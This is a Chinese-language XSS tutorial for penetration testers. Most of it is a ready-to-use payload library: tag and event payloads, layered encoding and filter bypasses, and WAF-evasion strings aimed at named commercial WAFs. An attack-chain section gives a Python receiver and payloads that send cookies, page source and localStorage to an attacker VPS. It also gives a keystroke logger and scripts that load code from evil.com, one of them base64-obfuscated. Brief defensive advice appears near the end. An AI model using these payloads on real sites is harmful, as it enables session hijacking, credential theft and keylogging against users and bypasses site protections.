【教程】XSS跨站脚本攻击实战:从16种标签到WAF逃逸(附完整Payload库)
适合人群:有基本Web安全基础,想系统掌握XSS挖掘与绕过技巧的渗透测试人员
前置知识:HTML/JavaScript基础、HTTP抓包能力
核心原则:见框就插——所有用户可控的输出位置都是"框"
一、前置准备
1.1 本地靶场搭建
# 方式一:DVWA(经典XSS靶场)
docker run -d -p 8080:80 vulnerables/web-dvwa
# 方式二:xss-labs(专注XSS的闯关靶场)
docker run -d -p 8081:80 jxdxb/xss-labs
# 方式三:PortSwigger XSS靶场(在线,无需搭建)
# https://portswigger.net/web-security/cross-site-scripting
1.2 工具准备
# Burp Suite(抓包改包)
# Firefox + HackBar(快速调试Payload)
# Python http.server(接收Cookie、测试外带)
python3 -m http.server 8888 --bind 0.0.0.0
# XSS平台(接收外带数据)
# https://xss.pt 或自建
二、核心原理
2.1 什么是XSS?
XSS(Cross-Site Scripting,跨站脚本攻击) 指攻击者将恶意JavaScript代码注入到网页中,当其他用户浏览该页面时,代码在用户浏览器中执行。
2.2 XSS三种类型
| 类型 | 特点 | 危害等级 | 典型场景 |
|---|---|---|---|
| 反射型 | 非持久化,需诱导用户点击恶意链接 | ⭐⭐ | 搜索框、URL参数 |
| 存储型 | 持久化存储在服务端,每次访问触发 | ⭐⭐⭐ | 评论区、留言板、个人信息 |
| DOM型 | 纯前端漏洞,不经过服务端,JS代码直接操作DOM | ⭐⭐ | 前端SPA应用、锚点参数 |
2.3 浏览器解析顺序(绕过的根基)
HTML解码 → URL解码 → JS解码(仅支持Unicode)
理解这个顺序是绕过一切过滤的根本。单层编码只能防住一层解析。
三、XSS攻击面清单:哪些是"框"?
"框"不只是 <input> 输入框。 下表列出所有可能被插入XSS的位置:
| 位置 | 场景 | 典型Payload示例 |
|---|---|---|
| ✅ 搜索框 | GET请求参数 | ?keyword=<script>alert(1)</script> |
| ✅ URL参数 | 所有GET参数 | ?id=1&cat=<svg onload=alert(1)> |
| ✅ URL路径 | path参数 | /user/<script>alert(1)</script>/profile |
| ✅ HTTP头 | Referer/User-Agent/Cookie | 在Burp中改Referer为恶意值 |
| ✅ 文件上传 | 文件名XSS | "><svg/onload=alert(1)>.svg |
| ✅ 富文本编辑器 | 文章/留言内容 | 编辑器未过滤HTML标签 |
| ✅ JSON响应 | API返回被innerHTML | 前端未转义直接拼入DOM |
| ✅ URL锚点 | #hash参数 | #<img src=x onerror=alert(1)> |
| ✅ localStorage | 存储数据 | 从Storage读取后未转义插入DOM |
| ✅ 导出文件 | CSV/Excel | CSV注入公式执行 |
实战口诀:
1️⃣ 查参数(URL/GET/POST)→ 插 img onerror / script
2️⃣ 搜输入框(搜索/登录/评论)→ 插 <svg onload> / "><script>
3️⃣ 抓包看响应(反查输出位置)→ 确认是否HTML上下文
4️⃣ 测存储型(留言/个人信息)→ 持久化XSS,危害最大
5️⃣ 测DOM型(JS操作innerHTML)→ 前端未转义
6️⃣ 测HTTP头(Referer/UA/Cookie)→ 后台日志页
7️⃣ 测文件上传(文件名XSS)→ <svg/onload=alert(1)>.svg
四、16种标签Payload实战库
4.1 `<img>` — 最常用反射型XSS
<img src=x onerror="alert(1)">
<img src=1 onmouseover="alert('xss')">
<img src=1 onclick="alert('xss')">
4.2 `<svg>` — 兼容性好,适合绕过
<svg onload=alert(1)>
<svg onload=eval("alert(1)")>
4.3 `<script>` — 最直接
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
4.4 `<a>` — href伪协议
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus>test</a>
<a href="x" onclick="alert('xss')">xss</a>
4.5 `<iframe>` — 适合钓鱼/外带
<iframe src="javascript:alert(1)"></iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>
4.6 `<video>` / `<audio>` — 多媒体标签绕过
<video src=x onerror=alert(1)>
<video controls onmouseover="alert('xss')"></video>
<audio src=1 onerror=alert(1)>
4.7 `<details>` — 需要用户点击
<details ontoggle="alert('xss')" open></details>
4.8 `<body>` / `<marquee>` — 火狐/IE可用
<body onload="alert('xss')"></body>
<marquee onstart=alert(1)> <!-- 火狐专用 -->
完整标签一览
| 标签 | 触发方式 | 典型事件 | 适用场景 |
|---|---|---|---|
<img> | 自动 | onerror | 反射型首选 |
<svg> | 自动 | onload | 绕过能力强 |
<a> | 点击 | onclick / href | 需要交互 |
<iframe> | 自动 | onload | Cookie窃取 |
<input> | 自动 | onfocus autofocus | 无需点击 |
<video> | 自动 | onerror / onmouseover | WAF绕过 |
<details> | 点击 | ontoggle | 绕过事件黑名单 |
<script> | 自动 | — | 最简单直接 |
五、6种编码绕过技术
5.1 HTML实体编码
适用场景: 可控点为标签属性(href/src)
<!-- 十进制编码:javascript:alert(1) -->
<a href="javascript:alert(1)">test</a>
<!-- 十六进制编码 -->
<a href="javascript:alert(1)">test</a>
<!-- 填充0绕过(WAF不识别的畸形编码) -->
<a href="javascript:alert(1)">test</a>
5.2 URL编码绕过
注意: 不能对 javascript: 协议类型编码!只能编码后面的函数部分
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<!-- 二次编码 → 绕过单层URL解码 -->
<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>
5.3 JS编码绕过
| 编码类型 | 格式 | 示例(alert) |
|---|---|---|
| 八进制 | \ + 3位8进制 | \141\154\145\162\164 |
| 十六进制 | \x + 2位16进制 | \x61\x6C\x65\x72\x74 |
| Unicode | \u + 4位16进制 | \u0061\u006C\u0065\u0072\u0074 |
<!-- Unicode编码alert -->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<!-- 八进制+setTimeout -->
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<!-- 十六进制+eval -->
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.4 混合编码 — 三层绕过原理
原理: 浏览器按 HTML→URL→JS 顺序解析。逐层编码 = 逐层绕过。
原始: <a href="javascript:alert(1)">test</a>
↓ Step1: JS编码 alert → \u0061\u006c\u0065\u0072\u0074(1)
↓ Step2: URL编码 \u0061 → %5c%75%30%30%36%31...
↓ Step3: HTML实体编码整个href属性值
↓ 最终: <a href="javascript:%5c...">test</a>
5.5 Base64编码
<!-- data伪协议 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>
<!-- atob解码 -->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
5.6 String.fromCharCode(ASCII编码)
<!-- alert(1) → ASCII: 97,108,101,114,116,40,49,41 -->
<a href='javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41))'>test</a>
六、6种过滤绕过实战
6.1 空格过滤绕过
<!-- 用 / 或 TAB 或换行代替空格 -->
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>
6.2 括号过滤绕过
<!-- 反引号代替括号 -->
<script>alert`1`</script>
<!-- throw绕过(不碰括号) -->
<video src onerror="javascript:window.onerror=alert;throw 1">
<svg/onload="window.onerror=eval;throw'=alert\\x281\\x29';">
6.3 alert过滤绕过
<!-- 替换函数 -->
<script>prompt(/xss/)</script>
<script>confirm(/xss/)</script>
<script>console.log(3)</script>
<!-- Base64绕过 -->
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
6.4 关键词置空绕过
<!-- 双写(过滤规则只替换一次关键词) -->
<sc<script>ript>alert(/xss/)</sc</script>ript>
<!-- 大小写混合 -->
<ScRiPt>AlErT(/xss/)</sCrIpT>
6.5 函数字符串拼接绕过
<!-- eval拼接 -->
<img src="x" onerror="eval('al'+'ert(1)')">
<!-- top/window/self拼接 -->
<img src="x" onerror="top['al'+'ert'](1)">
<img src="x" onerror="window[`al`+`ert`](1)">
<!-- 赋值拼接 -->
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
6.6 拆分法(绕过长度限制)
<!-- 当输入长度受限时,分多次提交拼凑 -->
<script>a='document.write("'</script>
<script>a=a+'<script src=ht'</script>
<script>a=a+'tp://evil.com/xs'</script>
<script>a=a+'s.js></script>\")'</script>
<script>eval(a)</script>
七、WAF绕过实战Payload
安全狗绕过
<video/src/onerror=top[`al`%2B`ert`](1);>
<video/src/onerror=appendChild(createElement("script")).src="//evil.com/xss.js">
D盾绕过
<video/src/onloadstart=top[`al`%2B`ert`](1);>
<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//evil.com/xss.js`);>
奇安信/云锁绕过
<video/src/onloadstart=top[`al`%2B`ert`](1);>
<details/ontoggle=function(){alert(1)}() open>
<svg/onload=eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEp'))>
八、实战攻击链:从弹窗到Cookie窃取
步骤1:发现注入点
用Burp抓包,在搜索框输入 test"x,查看响应是否原样返回。
步骤2:确认XSS类型
# 反射型:测试URL参数
https://target.com/search?q=<img src=x onerror=alert(1)>
# 存储型:在评论区提交
用户昵称: <script>alert(document.cookie)</script>
步骤3:Cookie窃取
搭建接收服务器(VPS上运行):
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print('收到:', self.path)
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
"
注入Payload:
<script>new Image().src='http://your-vps:8888/steal?c='+document.cookie</script>
步骤4:全量信息收集Payload
<!-- 窃取Cookie -->
<script>new Image().src='http://VPS:8888/c='+document.cookie</script>
<!-- 窃取页面源码 -->
<script>new Image().src='http://VPS:8888/s='+encodeURIComponent(document.documentElement.innerHTML)</script>
<!-- 窃取localStorage -->
<script>new Image().src='http://VPS:8888/s='+encodeURIComponent(JSON.stringify(localStorage))</script>
<!-- 键盘记录(配合后台页面) -->
<script>
document.onkeypress = function(e) {
new Image().src='http://VPS:8888/k='+e.key;
};
</script>
九、实战案例复盘
案例:某SRC教育系统存储型XSS
目标: 某高校信息系统的"个人简介"编辑页面
测试过程:
1️⃣ 在个人简介输入 <img src=x onerror=alert(1)>
2️⃣ 保存后进入"教师信息页面"查看——未弹窗(做了HTML实体转义)
3️⃣ 换思路:在"个人主页URL"字段注入
4️⃣ 输入 javascript:alert(1) — 此字段无过滤
5️⃣ 管理员点击用户头像链接时触发XSS
关键发现: 并非所有字段都做同样的过滤——URL字段往往是XSS的重灾区。
案例:某CMS后台搜索框DOM XSS
测试过程:
1️⃣ 搜索框输入 test,查看JS源码
2️⃣ 发现前端用 $("#result").html(searchValue) 直接插入
3️⃣ 构造 #<img src=x onerror=alert(1)> — 锚点参数
4️⃣ 由于是DOM型XSS,不经过服务端,服务端过滤无效
关键发现: DOM型XSS不能靠后端过滤防御,必须在前端做输出编码。
十、常见陷阱
| 陷阱 | 真相 |
|---|---|
"我只过滤了<script>" | 还有16种标签+on事件可用 |
"我只过滤alert" | 可用prompt/confirm/console.log/自定义函数替换 |
| "我只过滤双引号" | 可用反引号/单引号/斜杠绕过 |
| "单层编码就够了" | 浏览器3层解析,可3层编码绕过 |
| "有长度限制挖不到" | 可用拆分法分步注入 |
十一、防御建议
- 输入过滤:过滤
<script>、onerror=、javascript:、onfocus=等关键词 - 输出编码:对输出到HTML上下文的特殊字符进行HTML实体编码(
<→<,>→>,"→") - CSP策略:设置
Content-Security-Policy: script-src 'self'限制外部脚本加载 - HttpOnly+Secure:设置Cookie HttpOnly属性防止document.cookie被窃取
- 后端独立鉴权:不可依赖前端判断权限,每次接口请求都在后端鉴权
十二、总结
XSS的实战精髓可以用8个字概括:
见框就插,层层编码。
遇到过滤不要慌——先搞清楚:
- 输出在什么上下文(属性/标签体/JS字符串)?
- 过滤了哪些关键词?没过滤哪些?
- 浏览器对这段代码做了几次解析?
逐层搭积木:HTML编码 → URL编码 → JS编码 → 混合编码 → 函数拼接 → WAF绕道。
Payload速查表:
无条件测试:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<script>alert(1)</script>
有过滤时:
<img src=x onerror=prompt(1)>
<img src=x onerror=eval('al'+'ert(1)')>
<img src=x onerror=top[\u0061\u006cert](1)>
遇WAF时:
<video/src/onloadstart=top[`al`%2B`ert`](1);>
<details/ontoggle=eval(atob('YWxlcnQoMSk=')) open>
Cookie窃取:
<script>new Image().src='http://VPS:8888/c='+document.cookie</script>